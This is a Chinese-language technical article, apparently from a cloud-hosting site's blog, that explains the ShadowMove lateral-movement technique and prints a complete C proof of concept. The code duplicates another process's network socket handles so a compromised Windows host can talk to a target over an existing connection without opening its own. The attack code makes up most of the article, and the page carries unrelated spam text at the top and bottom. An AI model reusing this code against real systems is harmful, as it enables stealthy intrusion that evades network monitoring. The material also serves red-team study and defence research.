中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透

發布時間:2021-10-19 11:24:15 來源:億速云 閱讀:205 作者:iii 欄目:編程語言

本篇內容主要講解“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”吧!

技術概覽

下圖顯示的是這項技術工作機制的簡單流程圖,以及我們如何在自己的實驗環境中進行測試。在下圖中,我們使用了ShadowMove技術在源主機和目標主機之間進行通信:

如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透

我跟大家解釋一下上面這張圖的具體情況:

在上圖的左邊部分,我們有一臺被入侵的主機(比如說,我們通過釣魚攻擊入侵了這臺主機),IP地址為168.1.117。這臺主機就是我們需要開始橫向滲透的源主機,我們需要利用它來攻擊IP地址為192.168.56.102的主機。

在右邊部分,是我們的目標主機,IP地址為168.56.102,這臺主機在TCP端口80有一個正在監聽的Socket,運行命令為“nc -lvp 80”。

源主機168.1.117已經與我們的目標主機192.168.56.102:80通過nc.exe建立了連接。

在源主機上,有一個名為exe的正在運行的進程。這個進程將負責執行ShadowMove橫向滲透操作。需要注意的是,它在整個生命周期中并不會跟遠程主機建立任何連接,這也是這項技術的獨特魅力所在。

在源主機上,exe會枚舉所有跟nc.exe和\Device\Afd相關的處理程序,并用于網絡Socket通信。找到之后,該進程將使用這些處理程序并調用WSADuplicateSocketW和WSASocket這兩個API來復制Socket。創建好共享Socket之后,進程將會使用getpeername來判斷Socket的目標地址是否為目標主機的IP地址,即192.168.56.102。

當基于\Device\Afd的指向目標主機的共享Socket創建之后,exe將能夠使用send API向Socket中寫入數據,或使用recv API來從中讀取數據。

再次強調一點,ShadowMove.exe并不會創建任何指向目標主機的TCP鏈接。相反,它會直接復用源主機和目標主機之間(192.168.56.102:80)的現有的Socket,這也是該橫向滲透技術的關鍵之處。

PoC代碼

下面給出的是由安全專家Juan Manuel Fernández提供的PoC代碼,為了在Visual Studio 2019的開發環境中完成代碼編譯,本人對其進行了部分修改:

// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)

 

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

 

#pragma comment(lib,"WS2_32")

 

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

 

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

typedef NTSTATUS(NTAPI* _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

HANDLE TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG Attributes,

ULONG Options

);

typedef NTSTATUS(NTAPI* _NtQueryObject)(

HANDLE ObjectHandle,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

PULONG ReturnLength

);

 

typedef struct _SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

 

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

 

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

 

 

typedef enum _POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

DontUseThisType,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE, * PPOOL_TYPE;

 

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING Name;

} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

 

PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)

{

return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);

}

 

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {

HANDLE hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize = 0x10000;

NTSTATUS status;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };

SOCKET targetSocket;

 

// Open target process with PROCESS_DUP_HANDLE rights

hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);

if (!hProc) {

printf("[!] Error: could not open the process!\n");

exit(-1);

}

printf("[+] Handle to process obtained!\n");

 

// Find the functions

_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");

_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");

_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

 

// Retrieve handles from the target process

handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)

handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

 

printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

 

// Iterate

for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

 

// Check if it is the desired type of handle

if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

 

SYSTEM_HANDLE handle = handleInfo->Handles[i];

HANDLE dupHandle = NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

 

// Duplicate handle

NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);

objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

 

// Get handle info

NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

 

// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)

if (objectNameInfo->Name.Length == 22) {

printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

 

// Check if it ends in "Afd"

LPWSTR needle = (LPWSTR)malloc(8);

memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);

if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

 

// We got a candidate

printf("\t[*] \\Device\\Afd found at %d!\n", i);

 

// Try to duplicate the socket

status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);

if (status != 0) {

printf("\t\t[X] Error duplicating socket!\n");

free(needle);

free(objectNameInfo);

CloseHandle(dupHandle);

continue;

}

 

// We got it?

targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);

if (targetSocket != INVALID_SOCKET) {

struct sockaddr_in sockaddr;

DWORD len;

len = sizeof(SOCKADDR_IN);

 

// It this the socket?

if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {

if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {

printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));

free(needle);

free(objectNameInfo);

return targetSocket;

}

}

 

}

 

free(needle);

}

 

}

free(objectNameInfo);

 

}

}

 

return 0;

}

 

 

int main(int argc, char** argv) {

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessId;

LPSTR dstIP = NULL;

SOCKET targetSocket;

char buff[255] = { 0 };

 

printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");

 

// smgateway.exe [PID] [IP dst]

/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */

if (argc != 3) {

printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);

exit(-1);

}

dwProcessId = strtoul(argv[1], NULL, 10);

dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);

memcpy(dstIP, argv[2], strlen(dstIP));

 

 

// Classic

wVersionRequested = MAKEWORD(2, 2);

WSAStartup(wVersionRequested, &wsaData);

 

targetSocket = findTargetSocket(dwProcessId, dstIP);

send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);

recv(targetSocket, buff, 255, 0);

printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);

return 0;

}

演示樣例

編譯好上述代碼之后,我們就可以進行測試了。在下面的演示樣例中,我們演示了ShadowMove橫向滲透技術的實踐場景:

如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透

到此,相信大家對“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

雷山县| 乌鲁木齐县| 棋牌| 新蔡县| 建昌县| 尼玛县| 积石山| 洱源县| 阿拉善右旗| 德安县| 宝鸡市| 闵行区| 年辖:市辖区| 积石山| 德阳市| 布尔津县| 浑源县| 天等县| 凤庆县| 榕江县| 长沙县| 界首市| 定远县| 永年县| 牟定县| 鹤壁市| 萝北县| 镇原县| 浦城县| 印江| 陆丰市| 岢岚县| 勐海县| 长丰县| 独山县| 射阳县| 余庆县| 沙雅县| 绍兴市| 秭归县| 霍城县|